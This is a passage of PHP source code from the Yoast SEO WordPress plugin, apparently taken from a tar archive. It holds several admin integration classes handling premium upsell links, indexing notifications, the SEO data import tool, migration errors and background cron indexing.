		if ( ! $this->product_helper->is_premium() || ! $this->should_update_premium() ) {
			// Use the default defined in the component.
			return '';
		}
		if ( $this->has_premium_subscription_expired() ) {
			return \sprintf(
				/* translators: %s: expands to 'Yoast SEO Premium'. */
				\__( 'Renew %s', 'wordpress-seo' ),
				'Yoast SEO Premium'
			);
		}
		if ( $this->has_premium_subscription_activated() ) {
			return \sprintf(
				/* translators: %s: expands to 'Yoast SEO Premium'. */
				\__( 'Update %s', 'wordpress-seo' ),
				'Yoast SEO Premium'
			);
		}
		return \sprintf(
			/* translators: %s: expands to 'Yoast SEO Premium'. */
			\__( 'Activate %s', 'wordpress-seo' ),
			'Yoast SEO Premium'
		);
	}

	/**
	 * Returns the upsell/update link to show in the card buttons.
	 *
	 * @return string Returns a string with the upsell/update link for the card buttons.
	 */
	private function get_upsell_link() {
		if ( ! $this->product_helper->is_premium() || ! $this->should_update_premium() ) {
			// Use the default defined in the component.
			return '';
		}
		if ( $this->has_premium_subscription_expired() ) {
			return 'https://yoa.st/workout-renew-notice';
		}
		if ( $this->has_premium_subscription_activated() ) {
			return \wp_nonce_url( \self_admin_url( 'update.php?action=upgrade-plugin&plugin=wordpress-seo-premium/wp-seo-premium.php' ), 'upgrade-plugin_wordpress-seo-premium/wp-seo-premium.php' );
		}
		return 'https://yoa.st/workouts-activate-notice-myyoast';
	}
}
integrations/admin/old-configuration-integration.php000066600000003225152204306260017025 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Old_Configuration_Integration class
 */
class Old_Configuration_Integration implements Integration_Interface {

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_filter( 'admin_menu', [ $this, 'add_submenu_page' ], 11 );
		\add_action( 'admin_init', [ $this, 'redirect_to_new_configuration' ] );
	}

	/**
	 * Adds the old configuration submenu page.
	 *
	 * @param array $submenu_pages The Yoast SEO submenu pages.
	 *
	 * @return array the filtered submenu pages.
	 */
	public function add_submenu_page( $submenu_pages ) {
		\add_submenu_page(
			'',
			\__( 'Old Configuration Wizard', 'wordpress-seo' ),
			'',
			'manage_options',
			'wpseo_configurator',
			[ $this, 'render_page' ]
		);

		return $submenu_pages;
	}

	/**
	 * Renders the old configuration page.
	 *
	 * @return void
	 */
	public function render_page() {
		// This page is never to be displayed.
	}

	/**
	 * Redirects from the old configuration page to the new configuration page.
	 *
	 * @return void
	 */
	public function redirect_to_new_configuration() {
		// phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Data is not processed or saved.
		if ( ! isset( $_GET['page'] ) || $_GET['page'] !== 'wpseo_configurator' ) {
			return;
		}
		$redirect_url = 'admin.php?page=wpseo_dashboard#/first-time-configuration';
		\wp_safe_redirect( \admin_url( $redirect_url ), 302, 'Yoast SEO' );
		exit;
	}
}
integrations/admin/indexing-notification-integration.php000066600000015710152204306260017675 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Addon_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Not_Admin_Ajax_Conditional;
use Yoast\WP\SEO\Conditionals\User_Can_Manage_Wpseo_Options_Conditional;
use Yoast\WP\SEO\Config\Indexing_Reasons;
use Yoast\WP\SEO\Helpers\Current_Page_Helper;
use Yoast\WP\SEO\Helpers\Environment_Helper;
use Yoast\WP\SEO\Helpers\Indexing_Helper;
use Yoast\WP\SEO\Helpers\Notification_Helper;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Indexing_Failed_Notification_Presenter;
use Yoast\WP\SEO\Presenters\Admin\Indexing_Notification_Presenter;
use Yoast_Notification;
use Yoast_Notification_Center;

/**
 * Class Indexing_Notification_Integration.
 *
 * @package Yoast\WP\SEO\Integrations\Admin
 */
class Indexing_Notification_Integration implements Integration_Interface {

	/**
	 * The notification ID.
	 */
	public const NOTIFICATION_ID = 'wpseo-reindex';

	/**
	 * The Yoast notification center.
	 *
	 * @var Yoast_Notification_Center
	 */
	protected $notification_center;

	/**
	 * The product helper.
	 *
	 * @var Product_Helper
	 */
	protected $product_helper;

	/**
	 * The current page helper.
	 *
	 * @var Current_Page_Helper
	 */
	protected $page_helper;

	/**
	 * The short link helper.
	 *
	 * @var Short_Link_Helper
	 */
	protected $short_link_helper;

	/**
	 * The notification helper.
	 *
	 * @var Notification_Helper
	 */
	protected $notification_helper;

	/**
	 * The indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * The Addon Manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	protected $addon_manager;

	/**
	 * The Environment Helper.
	 *
	 * @var Environment_Helper
	 */
	protected $environment_helper;

	/**
	 * Indexing_Notification_Integration constructor.
	 *
	 * @param Yoast_Notification_Center $notification_center The notification center.
	 * @param Product_Helper            $product_helper      The product helper.
	 * @param Current_Page_Helper       $page_helper         The current page helper.
	 * @param Short_Link_Helper         $short_link_helper   The short link helper.
	 * @param Notification_Helper       $notification_helper The notification helper.
	 * @param Indexing_Helper           $indexing_helper     The indexing helper.
	 * @param WPSEO_Addon_Manager       $addon_manager       The addon manager.
	 * @param Environment_Helper        $environment_helper  The environment helper.
	 */
	public function __construct(
		Yoast_Notification_Center $notification_center,
		Product_Helper $product_helper,
		Current_Page_Helper $page_helper,
		Short_Link_Helper $short_link_helper,
		Notification_Helper $notification_helper,
		Indexing_Helper $indexing_helper,
		WPSEO_Addon_Manager $addon_manager,
		Environment_Helper $environment_helper
	) {
		$this->notification_center = $notification_center;
		$this->product_helper      = $product_helper;
		$this->page_helper         = $page_helper;
		$this->short_link_helper   = $short_link_helper;
		$this->notification_helper = $notification_helper;
		$this->indexing_helper     = $indexing_helper;
		$this->addon_manager       = $addon_manager;
		$this->environment_helper  = $environment_helper;
	}

	/**
	 * Initializes the integration.
	 *
	 * Adds hooks and jobs to cleanup or add the notification when necessary.
	 *
	 * @return void
	 */
	public function register_hooks() {
		if ( $this->page_helper->get_current_yoast_seo_page() === 'wpseo_dashboard' ) {
			\add_action( 'admin_init', [ $this, 'maybe_cleanup_notification' ] );
		}

		if ( $this->indexing_helper->has_reason() ) {
			\add_action( 'admin_init', [ $this, 'maybe_create_notification' ] );
		}

		\add_action( self::NOTIFICATION_ID, [ $this, 'maybe_create_notification' ] );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array The conditionals.
	 */
	public static function get_conditionals() {
		return [
			Admin_Conditional::class,
			Not_Admin_Ajax_Conditional::class,
			User_Can_Manage_Wpseo_Options_Conditional::class,
		];
	}

	/**
	 * Checks whether the notification should be shown and adds
	 * it to the notification center if this is the case.
	 *
	 * @return void
	 */
	public function maybe_create_notification() {
		if ( ! $this->should_show_notification() ) {
			return;
		}

		if ( ! $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID ) ) {
			$notification = $this->notification();
			$this->notification_helper->restore_notification( $notification );
			$this->notification_center->add_notification( $notification );
		}
	}

	/**
	 * Checks whether the notification should not be shown anymore and removes
	 * it from the notification center if this is the case.
	 *
	 * @return void
	 */
	public function maybe_cleanup_notification() {
		$notification = $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID );

		if ( $notification === null ) {
			return;
		}

		if ( $this->should_show_notification() ) {
			return;
		}

		$this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID );
	}

	/**
	 * Checks whether the notification should be shown.
	 *
	 * @return bool If the notification should be shown.
	 */
	protected function should_show_notification() {
		if ( ! $this->environment_helper->is_production_mode() ) {
			return false;
		}
		// Don't show a notification if the indexing has already been started earlier.
		if ( $this->indexing_helper->get_started() > 0 ) {
			return false;
		}

		// We're about to perform expensive queries, let's inform.
		\add_filter( 'wpseo_unindexed_count_queries_ran', '__return_true' );

		// Never show a notification when nothing should be indexed.
		return $this->indexing_helper->get_limited_filtered_unindexed_count( 1 ) > 0;
	}

	/**
	 * Returns an instance of the notification.
	 *
	 * @return Yoast_Notification The notification to show.
	 */
	protected function notification() {
		$reason = $this->indexing_helper->get_reason();

		$presenter = $this->get_presenter( $reason );

		return new Yoast_Notification(
			$presenter,
			[
				'type'         => Yoast_Notification::WARNING,
				'id'           => self::NOTIFICATION_ID,
				'capabilities' => 'wpseo_manage_options',
				'priority'     => 0.8,
			]
		);
	}

	/**
	 * Gets the presenter to use to show the notification.
	 *
	 * @param string $reason The reason for the notification.
	 *
	 * @return Indexing_Failed_Notification_Presenter|Indexing_Notification_Presenter
	 */
	protected function get_presenter( $reason ) {
		if ( $reason === Indexing_Reasons::REASON_INDEXING_FAILED ) {
			$presenter = new Indexing_Failed_Notification_Presenter( $this->product_helper, $this->short_link_helper, $this->addon_manager );
		}
		else {
			$total_unindexed = $this->indexing_helper->get_filtered_unindexed_count();
			$presenter       = new Indexing_Notification_Presenter( $this->short_link_helper, $total_unindexed, $reason );
		}

		return $presenter;
	}
}
integrations/admin/deactivated-premium-integration.php000066600000010331152204306260017327 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\Non_Multisite_Conditional;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Notice_Presenter;

/**
 * Deactivated_Premium_Integration class
 */
class Deactivated_Premium_Integration implements Integration_Interface {

	/**
	 * The options' helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * The admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $admin_asset_manager;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class, Non_Multisite_Conditional::class ];
	}

	/**
	 * First_Time_Configuration_Notice_Integration constructor.
	 *
	 * @param Options_Helper            $options_helper      The options helper.
	 * @param WPSEO_Admin_Asset_Manager $admin_asset_manager The admin asset manager.
	 */
	public function __construct(
		Options_Helper $options_helper,
		WPSEO_Admin_Asset_Manager $admin_asset_manager
	) {
		$this->options_helper      = $options_helper;
		$this->admin_asset_manager = $admin_asset_manager;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		\add_action( 'admin_notices', [ $this, 'premium_deactivated_notice' ] );
		\add_action( 'wp_ajax_dismiss_premium_deactivated_notice', [ $this, 'dismiss_premium_deactivated_notice' ] );
	}

	/**
	 * Shows a notice if premium is installed but not activated.
	 *
	 * @return void
	 */
	public function premium_deactivated_notice() {
		global $pagenow;
		if ( $pagenow === 'update.php' ) {
			return;
		}

		if ( $this->options_helper->get( 'dismiss_premium_deactivated_notice', false ) === true ) {
			return;
		}

		$premium_file = 'wordpress-seo-premium/wp-seo-premium.php';

		if ( ! \current_user_can( 'activate_plugin', $premium_file ) ) {
			return;
		}

		if ( $this->premium_is_installed_not_activated( $premium_file ) ) {
			$this->admin_asset_manager->enqueue_style( 'monorepo' );

			$content = \sprintf(
				/* translators: 1: Yoast SEO Premium 2: Link start tag to activate premium, 3: Link closing tag. */
				\__( 'You\'ve installed %1$s but it\'s not activated yet. %2$sActivate %1$s now!%3$s', 'wordpress-seo' ),
				'Yoast SEO Premium',
				'<a href="' . \esc_url(
					\wp_nonce_url(
						\self_admin_url( 'plugins.php?action=activate&plugin=' . $premium_file ),
						'activate-plugin_' . $premium_file
					)
				) . '">',
				'</a>'
			);
			// phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped -- Output escaped above.
			echo new Notice_Presenter(
				/* translators: 1: Yoast SEO Premium */
				\sprintf( \__( 'Activate %1$s!', 'wordpress-seo' ), 'Yoast SEO Premium' ),
				$content,
				'support-team.svg',
				null,
				true,
				'yoast-premium-deactivated-notice'
			);
			// phpcs:enable

			// Enable permanently dismissing the notice.
			echo "<script>
                function dismiss_premium_deactivated_notice(){
                    var data = {
                    'action': 'dismiss_premium_deactivated_notice',
                    };

                    jQuery( '#yoast-premium-deactivated-notice' ).hide();
                    jQuery.post( ajaxurl, data, function( response ) {});
                }

                jQuery( document ).ready( function() {
                    jQuery( 'body' ).on( 'click', '#yoast-premium-deactivated-notice .notice-dismiss', function() {
                        dismiss_premium_deactivated_notice();
                    } );
                } );
            </script>";
		}
	}

	/**
	 * Dismisses the premium deactivated notice.
	 *
	 * @return bool
	 */
	public function dismiss_premium_deactivated_notice() {
		return $this->options_helper->set( 'dismiss_premium_deactivated_notice', true );
	}

	/**
	 * Returns whether or not premium is installed and not activated.
	 *
	 * @param string $premium_file The premium file.
	 *
	 * @return bool Whether or not premium is installed and not activated.
	 */
	protected function premium_is_installed_not_activated( $premium_file ) {
		return (
			! \defined( 'WPSEO_PREMIUM_FILE' )
			&& \file_exists( \WP_PLUGIN_DIR . '/' . $premium_file )
		);
	}
}
integrations/admin/import-integration.php000066600000021206152204306260014713 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Import_Tool_Selected_Conditional;
use Yoast\WP\SEO\Conditionals\Yoast_Tools_Page_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Alert_Presenter;
use Yoast\WP\SEO\Routes\Importing_Route;
use Yoast\WP\SEO\Services\Importing\Importable_Detector_Service;

/**
 * Loads import script when on the Tool's page.
 */
class Import_Integration implements Integration_Interface {

	/**
	 * Contains the asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	protected $asset_manager;

	/**
	 * The Importable Detector service.
	 *
	 * @var Importable_Detector_Service
	 */
	protected $importable_detector;

	/**
	 * The Importing Route class.
	 *
	 * @var Importing_Route
	 */
	protected $importing_route;

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [
			Import_Tool_Selected_Conditional::class,
			Yoast_Tools_Page_Conditional::class,
		];
	}

	/**
	 * Import Integration constructor.
	 *
	 * @param WPSEO_Admin_Asset_Manager   $asset_manager       The asset manager.
	 * @param Importable_Detector_Service $importable_detector The importable detector.
	 * @param Importing_Route             $importing_route     The importing route.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		Importable_Detector_Service $importable_detector,
		Importing_Route $importing_route
	) {
		$this->asset_manager       = $asset_manager;
		$this->importable_detector = $importable_detector;
		$this->importing_route     = $importing_route;
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_import_script' ] );
	}

	/**
	 * Enqueues the Import script.
	 *
	 * @return void
	 */
	public function enqueue_import_script() {
		\wp_enqueue_style( 'dashicons' );
		$this->asset_manager->enqueue_script( 'import' );

		$data = [
			'restApi' => [
				'root'                => \esc_url_raw( \rest_url() ),
				'cleanup_endpoints'   => $this->get_cleanup_endpoints(),
				'importing_endpoints' => $this->get_importing_endpoints(),
				'nonce'               => \wp_create_nonce( 'wp_rest' ),
			],
			'assets'  => [
				'loading_msg_import'       => \esc_html__( 'The import can take a long time depending on your site\'s size.', 'wordpress-seo' ),
				'loading_msg_cleanup'      => \esc_html__( 'The cleanup can take a long time depending on your site\'s size.', 'wordpress-seo' ),
				'note'                     => \esc_html__( 'Note: ', 'wordpress-seo' ),
				'cleanup_after_import_msg' => \esc_html__( 'After you\'ve imported data from another SEO plugin, please make sure to clean up all the original data from that plugin. (step 5)', 'wordpress-seo' ),
				'select_placeholder'       => \esc_html__( 'Select SEO plugin', 'wordpress-seo' ),
				'no_data_msg'              => \esc_html__( 'No data found from other SEO plugins.', 'wordpress-seo' ),
				'validation_failure'       => $this->get_validation_failure_alert(),
				'import_failure'           => $this->get_import_failure_alert( true ),
				'cleanup_failure'          => $this->get_import_failure_alert( false ),
				'spinner'                  => \admin_url( 'images/loading.gif' ),
				'replacing_texts'          => [
					'cleanup_button'       => \esc_html__( 'Clean up', 'wordpress-seo' ),
					'import_explanation'   => \esc_html__( 'Please select an SEO plugin below to see what data can be imported.', 'wordpress-seo' ),
					'cleanup_explanation'  => \esc_html__( 'Once you\'re certain that your site is working properly with the imported data from another SEO plugin, you can clean up all the original data from that plugin.', 'wordpress-seo' ),
					/* translators: %s: expands to the name of the plugin that is selected to be imported */
					'select_header'        => \esc_html__( 'The import from %s includes:', 'wordpress-seo' ),
					'plugins'              => [
						'aioseo' => [
							[
								'data_name' => \esc_html__( 'Post metadata (SEO titles, descriptions, etc.)', 'wordpress-seo' ),
								'data_note' => \esc_html__( 'Note: This metadata will only be imported if there is no existing Yoast SEO metadata yet.', 'wordpress-seo' ),
							],
							[
								'data_name' => \esc_html__( 'Default settings', 'wordpress-seo' ),
								'data_note' => \esc_html__( 'Note: These settings will overwrite the default settings of Yoast SEO.', 'wordpress-seo' ),
							],
						],
						'other' => [
							[
								'data_name' => \esc_html__( 'Post metadata (SEO titles, descriptions, etc.)', 'wordpress-seo' ),
								'data_note' => \esc_html__( 'Note: This metadata will only be imported if there is no existing Yoast SEO metadata yet.', 'wordpress-seo' ),
							],
						],
					],
				],
			],
		];

		/**
		 * Filter: 'wpseo_importing_data' Filter to adapt the data used in the import process.
		 *
		 * @param array $data The import data to adapt.
		 */
		$data = \apply_filters( 'wpseo_importing_data', $data );

		$this->asset_manager->localize_script( 'import', 'yoastImportData', $data );
	}

	/**
	 * Retrieves a list of the importing endpoints to use.
	 *
	 * @return array The endpoints.
	 */
	protected function get_importing_endpoints() {
		$available_actions   = $this->importable_detector->detect_importers();
		$importing_endpoints = [];

		$available_sorted_actions = $this->sort_actions( $available_actions );

		foreach ( $available_sorted_actions as $plugin => $types ) {
			foreach ( $types as $type ) {
				$importing_endpoints[ $plugin ][] = $this->importing_route->get_endpoint( $plugin, $type );
			}
		}

		return $importing_endpoints;
	}

	/**
	 * Sorts the array of importing actions, by moving any validating actions to the start for every plugin.
	 *
	 * @param array $available_actions The array of actions that we want to sort.
	 *
	 * @return array The sorted array of actions.
	 */
	protected function sort_actions( $available_actions ) {
		$first_action             = 'validate_data';
		$available_sorted_actions = [];

		foreach ( $available_actions as $plugin => $plugin_available_actions ) {

			$validate_action_position = \array_search( $first_action, $plugin_available_actions, true );

			if ( ! empty( $validate_action_position ) ) {
				unset( $plugin_available_actions[ $validate_action_position ] );
				\array_unshift( $plugin_available_actions, $first_action );
			}

			$available_sorted_actions[ $plugin ] = $plugin_available_actions;
		}

		return $available_sorted_actions;
	}

	/**
	 * Retrieves a list of the importing endpoints to use.
	 *
	 * @return array The endpoints.
	 */
	protected function get_cleanup_endpoints() {
		$available_actions   = $this->importable_detector->detect_cleanups();
		$importing_endpoints = [];

		foreach ( $available_actions as $plugin => $types ) {
			foreach ( $types as $type ) {
				$importing_endpoints[ $plugin ][] = $this->importing_route->get_endpoint( $plugin, $type );
			}
		}

		return $importing_endpoints;
	}

	/**
	 * Gets the validation failure alert using the Alert_Presenter.
	 *
	 * @return string The validation failure alert.
	 */
	protected function get_validation_failure_alert() {
		$content  = \esc_html__( 'The AIOSEO import was cancelled because some AIOSEO data is missing. Please try and take the following steps to fix this:', 'wordpress-seo' );
		$content .= '<br/>';
		$content .= '<ol><li>';
		$content .= \esc_html__( 'If you have never saved any AIOSEO \'Search Appearance\' settings, please do that first and run the import again.', 'wordpress-seo' );
		$content .= '</li>';
		$content .= '<li>';
		$content .= \esc_html__( 'If you already have saved AIOSEO \'Search Appearance\' settings and the issue persists, please contact our support team so we can take a closer look.', 'wordpress-seo' );
		$content .= '</li></ol>';

		$validation_failure_alert = new Alert_Presenter( $content, 'error' );

		return $validation_failure_alert->present();
	}

	/**
	 * Gets the import failure alert using the Alert_Presenter.
	 *
	 * @param bool $is_import Wether it's an import or not.
	 *
	 * @return string The import failure alert.
	 */
	protected function get_import_failure_alert( $is_import ) {
		$content = \esc_html__( 'Cleanup failed with the following error:', 'wordpress-seo' );
		if ( $is_import ) {
			$content = \esc_html__( 'Import failed with the following error:', 'wordpress-seo' );
		}

		$content .= '<br/><br/>';
		$content .= \esc_html( '%s' );

		$import_failure_alert = new Alert_Presenter( $content, 'error' );

		return $import_failure_alert->present();
	}
}
integrations/admin/migration-error-integration.php000066600000002543152204306260016524 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Config\Migration_Status;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Presenters\Admin\Migration_Error_Presenter;

/**
 * Migration_Error_Integration class.
 */
class Migration_Error_Integration implements Integration_Interface {

	/**
	 * The migration status object.
	 *
	 * @var Migration_Status
	 */
	protected $migration_status;

	/**
	 * {@inheritDoc}
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Migration_Error_Integration constructor.
	 *
	 * @param Migration_Status $migration_status The migration status object.
	 */
	public function __construct( Migration_Status $migration_status ) {
		$this->migration_status = $migration_status;
	}

	/**
	 * {@inheritDoc}
	 */
	public function register_hooks() {
		if ( $this->migration_status->get_error( 'free' ) === false ) {
			return;
		}

		\add_action( 'admin_notices', [ $this, 'render_migration_error' ] );
	}

	/**
	 * Renders the migration error.
	 *
	 * @return void
	 */
	public function render_migration_error() {
		// phpcs:ignore WordPress.Security.EscapeOutput -- The Migration_Error_Presenter already escapes it's output.
		echo new Migration_Error_Presenter( $this->migration_status->get_error( 'free' ) );
	}
}
integrations/admin/activation-cleanup-integration.php000066600000003545152204306260017175 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Integrations\Cleanup_Integration;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * This integration registers a run of the cleanup routine whenever the plugin is activated.
 */
class Activation_Cleanup_Integration implements Integration_Interface {

	use No_Conditionals;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	private $options_helper;

	/**
	 * Activation_Cleanup_Integration constructor.
	 *
	 * @param Options_Helper   $options_helper   The options helper.
	 * @param Indexable_Helper $indexable_helper The indexable helper.
	 */
	public function __construct( Options_Helper $options_helper, Indexable_Helper $indexable_helper ) {
		$this->options_helper   = $options_helper;
		$this->indexable_helper = $indexable_helper;
	}

	/**
	 * Registers the action to register a cleanup routine run after the plugin is activated.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'wpseo_activate', [ $this, 'register_cleanup_routine' ], 11 );
	}

	/**
	 * Registers a run of the cleanup routine if this has not happened yet.
	 *
	 * @return void
	 */
	public function register_cleanup_routine() {
		if ( ! $this->indexable_helper->should_index_indexables() ) {
			return;
		}
		$first_activated_on = $this->options_helper->get( 'first_activated_on', false );

		if ( ! $first_activated_on || \time() > ( $first_activated_on + ( \MINUTE_IN_SECONDS * 5 ) ) ) {
			if ( ! \wp_next_scheduled( Cleanup_Integration::START_HOOK ) ) {
				\wp_schedule_single_event( ( \time() + \DAY_IN_SECONDS ), Cleanup_Integration::START_HOOK );
			}
		}
	}
}
integrations/admin/background-indexing-integration.php000066600000025403152204306260017326 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Admin;

use Yoast\WP\SEO\Actions\Indexing\Indexable_Indexing_Complete_Action;
use Yoast\WP\SEO\Actions\Indexing\Indexation_Action_Interface;
use Yoast\WP\SEO\Conditionals\Get_Request_Conditional;
use Yoast\WP\SEO\Conditionals\Migrations_Conditional;
use Yoast\WP\SEO\Conditionals\WP_CRON_Enabled_Conditional;
use Yoast\WP\SEO\Conditionals\Yoast_Admin_And_Dashboard_Conditional;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Indexing_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Class Background_Indexing_Integration.
 *
 * @package Yoast\WP\SEO\Integrations\Admin
 */
class Background_Indexing_Integration implements Integration_Interface {

	/**
	 * Represents the indexing completed action.
	 *
	 * @var Indexable_Indexing_Complete_Action
	 */
	protected $complete_indexation_action;

	/**
	 * Represents the indexing helper.
	 *
	 * @var Indexing_Helper
	 */
	protected $indexing_helper;

	/**
	 * An object that checks if we are on the Yoast admin or on the dashboard page.
	 *
	 * @var Yoast_Admin_And_Dashboard_Conditional
	 */
	protected $yoast_admin_and_dashboard_conditional;

	/**
	 * All available indexing actions.
	 *
	 * @var Indexation_Action_Interface[]
	 */
	protected $indexing_actions;

	/**
	 * An object that checks if we are handling a GET request.
	 *
	 * @var Get_Request_Conditional
	 */
	private $get_request_conditional;

	/**
	 * An object that checks if WP_CRON is enabled.
	 *
	 * @var WP_CRON_Enabled_Conditional
	 */
	private $wp_cron_enabled_conditional;

	/**
	 * The indexable helper
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Shutdown_Indexing_Integration constructor.
	 *
	 * @param Indexable_Indexing_Complete_Action    $complete_indexation_action            The complete indexing action.
	 * @param Indexing_Helper                       $indexing_helper                       The indexing helper.
	 * @param Indexable_Helper                      $indexable_helper                      The indexable helper.
	 * @param Yoast_Admin_And_Dashboard_Conditional $yoast_admin_and_dashboard_conditional An object that checks if we are on the Yoast admin or on the dashboard page.
	 * @param Get_Request_Conditional               $get_request_conditional               An object that checks if we are handling a GET request.
	 * @param WP_CRON_Enabled_Conditional           $wp_cron_enabled_conditional           An object that checks if WP_CRON is enabled.
	 * @param Indexation_Action_Interface           ...$indexing_actions                   A list of all available indexing actions.
	 */
	public function __construct(
		Indexable_Indexing_Complete_Action $complete_indexation_action,
		Indexing_Helper $indexing_helper,
		Indexable_Helper $indexable_helper,
		Yoast_Admin_And_Dashboard_Conditional $yoast_admin_and_dashboard_conditional,
		Get_Request_Conditional $get_request_conditional,
		WP_CRON_Enabled_Conditional $wp_cron_enabled_conditional,
		Indexation_Action_Interface ...$indexing_actions
	) {
		$this->indexing_actions                      = $indexing_actions;
		$this->complete_indexation_action            = $complete_indexation_action;
		$this->indexing_helper                       = $indexing_helper;
		$this->indexable_helper                      = $indexable_helper;
		$this->yoast_admin_and_dashboard_conditional = $yoast_admin_and_dashboard_conditional;
		$this->get_request_conditional               = $get_request_conditional;
		$this->wp_cron_enabled_conditional           = $wp_cron_enabled_conditional;
	}

	/**
	 * Returns the conditionals based on which this integration should be active.
	 *
	 * @return array The array of conditionals.
	 */
	public static function get_conditionals() {
		return [
			Migrations_Conditional::class,
		];
	}

	/**
	 * Register hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'admin_init', [ $this, 'register_shutdown_indexing' ] );
		\add_action( 'wpseo_indexable_index_batch', [ $this, 'index' ] );
		// phpcs:ignore WordPress.WP.CronInterval -- The sniff doesn't understand values with parentheses. https://github.com/WordPress/WordPress-Coding-Standards/issues/2025
		\add_filter( 'cron_schedules', [ $this, 'add_cron_schedule' ] );
		\add_action( 'admin_init', [ $this, 'schedule_cron_indexing' ], 11 );

		$this->add_limit_filters();
	}

	/**
	 * Adds the filters that change the indexing limits.
	 *
	 * @return void
	 */
	public function add_limit_filters() {
		\add_filter( 'wpseo_post_indexation_limit', [ $this, 'throttle_cron_indexing' ] );
		\add_filter( 'wpseo_post_type_archive_indexation_limit', [ $this, 'throttle_cron_indexing' ] );
		\add_filter( 'wpseo_term_indexation_limit', [ $this, 'throttle_cron_indexing' ] );
		\add_filter( 'wpseo_prominent_words_indexation_limit', [ $this, 'throttle_cron_indexing' ] );
		\add_filter( 'wpseo_link_indexing_limit', [ $this, 'throttle_cron_link_indexing' ] );
	}

	/**
	 * Enqueues the required scripts.
	 *
	 * @return void
	 */
	public function register_shutdown_indexing() {
		if ( $this->should_index_on_shutdown( $this->get_shutdown_limit() ) ) {
			$this->register_shutdown_function( 'index' );
		}
	}

	/**
	 * Run a single indexing pass of each indexing action. Intended for use as a shutdown function.
	 *
	 * @return void
	 */
	public function index() {
		if ( \wp_doing_cron() && ! $this->should_index_on_cron() ) {
			$this->unschedule_cron_indexing();

			return;
		}

		foreach ( $this->indexing_actions as $indexation_action ) {
			$indexation_action->index();
		}

		if ( $this->indexing_helper->get_limited_filtered_unindexed_count_background( 1 ) === 0 ) {
			// We set this as complete, even though prominent words might not be complete. But that's the way we always treated that.
			$this->complete_indexation_action->complete();
		}
	}

	/**
	 * Adds the 'Every fifteen minutes' cron schedule to WP-Cron.
	 *
	 * @param array $schedules The existing schedules.
	 *
	 * @return array The schedules containing the fifteen_minutes schedule.
	 */
	public function add_cron_schedule( $schedules ) {
		if ( ! \is_array( $schedules ) ) {
			return $schedules;
		}

		$schedules['fifteen_minutes'] = [
			'interval' => ( 15 * \MINUTE_IN_SECONDS ),
			'display'  => \esc_html__( 'Every fifteen minutes', 'wordpress-seo' ),
		];

		return $schedules;
	}

	/**
	 * Schedule background indexing every 15 minutes if the index isn't already up to date.
	 *
	 * @return void
	 */
	public function schedule_cron_indexing() {
		/**
		 * Filter: 'wpseo_unindexed_count_queries_ran' - Informs whether the expensive unindexed count queries have been ran already.
		 *
		 * @internal
		 *
		 * @param bool $have_queries_ran
		 */
		$have_queries_ran = \apply_filters( 'wpseo_unindexed_count_queries_ran', false );

